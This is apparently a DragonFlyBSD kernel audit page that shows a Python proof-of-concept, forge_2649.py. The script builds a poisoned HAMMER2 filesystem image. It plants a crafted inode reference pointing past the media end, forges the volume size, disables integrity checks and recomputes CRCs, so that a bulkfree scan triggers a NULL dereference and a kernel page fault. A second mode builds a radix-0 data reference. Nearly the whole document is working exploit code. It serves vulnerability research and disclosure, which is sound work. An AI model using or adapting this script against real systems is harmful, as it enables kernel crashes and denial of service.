DragonFlyBSD Kernel Audit
DF-2649 / forge_2649.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-2649 forger: plant a PFSROOT-flagged INODE bref whose data_off points
BEYOND the media end into a free blockset slot of the mounted PFS's root
inode block.

Mount never iterates the mounted PFS root inode's blockset (update_pmps
only walks sroot-level PFS inodes), so the mount succeeds.  The bulkfree
topology scan walks everything: chain_scan returns the poison INODE bref
as a recursable chain (NODATA, no I/O yet), hammer2_bulkfree_scan()
re-locks it with RESOLVE_ALWAYS, hammer2_chain_load_data() breads the
64K window past the device end -> EIO, chain->data stays NULL,
chain->error = EIO (not CHECK!) -> the PFSROOT kprintf at
hammer2_bulkfree.c:143-147 dereferences parent->data->ipdata.filename
== NULL+0x100 -> fatal page fault.

mode 'eio'  : DF-2649  (INODE, PFSROOT, data_off beyond EOF)
mode 'rad0' : DF-2650  (DATA, radix-0 data_off inside the media)
"""
import struct, sys, os
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from h2common import *

MEDIA_END = 96 * 1024 * 1024          # poison base: inside forged volu_size
                                     # (128M) but past the real 64M device:
                                     # get_volume() succeeds, dscheck fails
                                     # the bread -> EIO (not a CHECK error)

def put_bref(img, off, type_, methods, key, keybits, data_off, flags):
    struct.pack_into('<6B', img, off, type_, methods, 0, keybits, 0, flags)
    struct.pack_into('<QQQQQ', img, off + 8,
                     key,        # key
                     0,          # mirror_tid
                     0,          # modify_tid
                     data_off,   # data_off
                     0)          # update_tid

def main():
    base, out, mode = sys.argv[1:3][0], sys.argv[2], sys.argv[3]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    pbr = find_pfs_bref(img, sbr, b'testvol')
    iblk = pbr['data_off'] & ~RADIX_MASK

    # free slot inside the mounted PFS root inode blockset (within SET_COUNT=4)
    slot = None
    for i in range(4):
        br = bref_parse(img, iblk + 0x200 + i * BREF)
        if br['type'] == T_EMPTY and br['data_off'] == 0:
            slot = iblk + 0x200 + i * BREF
            break
    assert slot is not None, "no free blockset slot"
    print("[*] using iblk blockset slot @ %#x (inode blk %#x)" % (slot, iblk))

    if mode == 'eio':
        # forge volu_size 64M -> 128M so the volume lookup at 96M succeeds
        # while the physical read still fails (single-volume mounts take
        # total_size = volu_size unclamped, vfsops.c:1232)
        for v in vols:
            old = struct.unpack_from('<Q', img, v + 0x28)[0]
            struct.pack_into('<Q', img, v + 0x28, 128 * 1024 * 1024)
            print("[+] volhdr %#x volu_size %#x -> %#x" % (v, old, 128*1024*1024))
        # INODE + FLAG_PFSROOT + data_off past the real media, radix 10
        put_bref(img, slot, T_INODE, 0x00, 0xE000000000000002, 64,
                 MEDIA_END | 10, PFSROOT)
        print("[+] poison: INODE flags=PFSROOT data_off=%#x (past real media)"
              % (MEDIA_END | 10))
    else:
        # DATA bref whose data_off radix field is 0, base = real allocated blk
        put_bref(img, slot, T_DATA, 0x00, 0xE000000000000003, 64,
                 iblk & ~RADIX_MASK, 0)
        print("[+] poison: DATA data_off=%#x (radix==0)" % (iblk & ~RADIX_MASK))

    # ancestors: testvol bref (inside sroot block) + sroot bref (volhdr)
    struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00)   # CHECK_NONE
    for v in vols:
        struct.pack_into('<B', img, v + 0x201, 0x00)       # sroot CHECK_NONE
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()